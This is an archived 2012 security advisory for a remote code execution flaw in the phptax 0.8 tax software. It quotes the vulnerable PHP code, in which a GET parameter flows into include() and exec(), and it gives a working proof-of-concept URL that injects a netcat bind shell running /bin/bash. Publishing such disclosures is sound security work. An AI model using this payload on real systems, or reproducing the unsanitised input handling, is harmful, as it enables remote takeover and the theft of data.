Lucene search

K
securityvulnsSecurityvulnsSECURITYVULNS:DOC:28665
HistoryOct 22, 2012 - 12:00 a.m.

phptax 0.8 <= Remote Code Execution Vulnerability

2012-10-2200:00:00
vulners.com
34

phptax 0.8 <= Remote Code Execution Vulnerability

Discovered by: Jean Pascal Pereira <[email protected]>

Vendor information:

"PhpTax is free software to do your U.S. income taxes. Tested under Unix environment.
The program generates .pdfs that can be printed and sent to the IRS. See homepage for details and screenshot."

Vendor URI: http://sourceforge.net/projects/phptax/


Risk-level: High

The application is prone to a remote code execution vulnerability.


drawimage.php, line 63:

include ("./files/$_GET[pfilez]");

// makes a png image
$pfilef=str_replace(".tob",".png",$_GET[pfilez]);
$pfilep=str_replace(".tob",".pdf",$_GET[pfilez]);
Header("Content-type: image/png");
if ($_GET[pdf] == "") Imagepng($image);
if ($_GET[pdf] == "make") Imagepng($image,"./data/pdf/$pfilef");
if ($_GET[pdf] == "make") exec("convert ./data/pdf/$pfilef ./data/pdf/$pfilep");


Exploit / Proof of Concept:

Bindshell on port 23235 using netcat:

http://localhost/phptax/drawimage.php?pfilez=xxx;&#37;20nc&#37;20-l&#37;20-v&#37;20-p&#37;2023235&#37;20-e&#37;20/bin/bash;&amp;pdf=make


Solution:

Do some input validation.